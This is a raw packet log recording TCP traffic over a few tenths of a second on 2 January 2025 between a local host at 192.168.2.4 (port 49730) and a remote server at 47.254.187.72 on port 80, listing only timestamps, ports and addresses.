Jan 2, 2025 20:34:51.187864065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.187870026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.187875032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.187880993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.187886953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.187892914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.188091040 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.188453913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.188463926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.188481092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.188489914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.188498020 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.188502073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.188513041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.188519955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.188524008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.188534021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.188555956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.188590050 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.191380978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.191390991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.191406965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.191417933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.191427946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.191428900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.191438913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.191448927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.191448927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.191461086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.191468000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.191469908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.191534996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.193562031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.193615913 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.193655968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.193665028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.193675995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.193686008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.193687916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.193701982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.193706036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.193713903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.193722963 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.193723917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.193757057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.246144056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.246159077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.246171951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.246184111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.246195078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.246197939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.246206999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.246217966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.246228933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.246229887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.246251106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.246268034 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.248656988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.248668909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.248681068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.248691082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.248702049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.248701096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.248712063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.248723984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.248724937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.248747110 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.248760939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.249763966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.249805927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.249821901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.249830961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.249849081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.249859095 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.249861956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.249871969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.249883890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.249886036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.249897003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.249910116 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.249937057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.250272989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.250283957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.250293970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.250308037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.250328064 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.250330925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.250340939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.250351906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.250363111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.250363111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.250394106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.252882957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.252895117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.252913952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.252924919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.252926111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.252957106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.252957106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.252966881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.252979040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.252990007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.253009081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.253032923 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.253784895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.253794909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.253804922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.253832102 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.253854036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.253880024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.253890991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.253902912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.253914118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.253916979 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.253925085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.253936052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.253947973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.253962994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.253963947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.253973961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.253995895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.254019022 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.254075050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.254086018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.254096985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.254106998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.254112005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.254117966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.254128933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.254143953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.254165888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.254189968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.254198074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.254206896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.254218102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.254228115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.254234076 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.254251957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.254251957 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.254262924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.254272938 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.254275084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.254285097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.254292965 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.254323006 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.264537096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.264588118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.264621019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.264631033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.264648914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.264659882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.264659882 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.264669895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.264681101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.264686108 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.264693022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.264698029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.264744043 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.267729044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.267739058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.267782927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.267839909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.267853975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.267864943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.267875910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.267887115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.267891884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.267898083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.267930031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.267946005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.269594908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.269623041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.269633055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.269638062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.269654989 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.269661903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.269673109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.269682884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.269700050 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.269717932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.269746065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.269756079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.269766092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.269789934 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.269824028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.272828102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.272838116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.272847891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.272860050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.272871017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.272876978 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.272881985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.272892952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.272892952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.272903919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.272927046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.272941113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.277894020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.277904034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.277926922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.277935982 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.277937889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.277949095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.277951002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.277961016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.277971029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.277977943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.277981997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.278006077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.278023005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.278027058 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.278033972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.278044939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.278062105 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.278064013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.278073072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.278090954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.278115034 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.278137922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.278147936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.278162956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.278172016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.278172970 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.278198957 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.278218031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.279031038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.279071093 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.279110909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.279120922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.279131889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.279138088 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.279143095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.279153109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.279171944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.279175997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.279184103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.279194117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.279195070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.279217005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.279237032 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.280463934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.280474901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.280491114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.280499935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.280505896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.280510902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.280522108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.280524015 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.280533075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.280543089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.280553102 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.280570030 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.332923889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.332942963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.332954884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.332966089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.332982063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.332997084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.333002090 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.333009005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.333033085 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.333072901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.336956024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.336966991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.337008953 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.337018013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.337029934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.337040901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.337050915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.337069035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.337080002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.337080956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.337111950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.338391066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.338418961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.338428974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.338435888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.338459015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.338460922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.338468075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.338479996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.338479042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.338500977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.338502884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.338511944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.338536978 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.338543892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.338551044 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.338558912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.338570118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.338577986 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.338597059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.338617086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.338637114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.338646889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.338656902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.338680029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.338685989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.338696957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.338707924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.338707924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.338717937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.338737965 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.338759899 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.339703083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.339715004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.339726925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.339736938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.339749098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.339756966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.339760065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.339771032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.339782000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.339811087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.339824915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.340909958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.340929985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.340939045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.340954065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.340976954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.341008902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341018915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341029882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341041088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341048002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.341051102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341074944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341074944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.341084957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341103077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341114044 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.341114044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341124058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341140032 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.341167927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.341175079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341211081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.341238976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341257095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.341268063 CET	80	49730	47.254.187.72	192.168.2.4
